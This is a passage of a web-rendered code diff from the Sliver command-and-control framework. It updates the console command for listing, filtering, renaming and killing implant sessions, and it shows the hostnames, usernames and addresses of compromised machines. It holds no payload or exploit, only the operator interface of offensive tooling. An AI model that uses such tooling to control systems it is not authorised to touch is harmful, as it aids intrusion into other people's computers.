return
|
||||
}
|
||||
|
||||
// Option to change the agent name
|
||||
name := ctx.Flags.String("name")
|
||||
if name != "" {
|
||||
isAlphanumeric := regexp.MustCompile(`^[[:alnum:]]+$`).MatchString
|
||||
if !isAlphanumeric(name) {
|
||||
con.PrintErrorf("Name must be in alphanumeric only\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Option to change the reconnect interval
|
||||
reconnect := ctx.Flags.Int("reconnect")
|
||||
|
||||
// Option to change the reconnect interval
|
||||
poll := ctx.Flags.Int("poll")
|
||||
|
||||
oldSession := con.ActiveTarget.GetSession()
|
||||
session, err := con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
SessionID: oldSession.ID,
|
||||
Name: name,
|
||||
ReconnectInterval: int64(reconnect) * int64(time.Second),
|
||||
PollInterval: int64(poll) * int64(time.Second),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -31,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// SessionsCmd - Display/interact with sessions
|
||||
@@ -50,12 +52,12 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if killAll {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -64,23 +66,27 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.ActiveTarget.Background()
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.IsDead {
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
con.Println()
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
if killFlag != "" {
|
||||
session := con.GetSession(killFlag)
|
||||
if session == nil {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", killFlag)
|
||||
return
|
||||
}
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && session.ID == activeSession.ID {
|
||||
con.ActiveTarget.Background()
|
||||
}
|
||||
err := kill.KillSession(session, true, con)
|
||||
err := kill.KillSession(session, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
@@ -96,12 +102,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
if 0 < len(sessionsMap) {
|
||||
PrintSessions(sessionsMap, con)
|
||||
PrintSessions(sessionsMap, filter, filterRegex, con)
|
||||
} else {
|
||||
con.PrintInfof("No sessions 🙁\n")
|
||||
}
|
||||
@@ -109,20 +126,41 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Health",
|
||||
})
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Transport",
|
||||
"Remote Address",
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Health",
|
||||
})
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "ID", Mode: table.Asc},
|
||||
})
|
||||
@@ -142,17 +180,57 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
if session.Burned {
|
||||
burned = "🔥"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
var rowEntries []string
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
|
||||
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
Loaded 100 of 5828 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user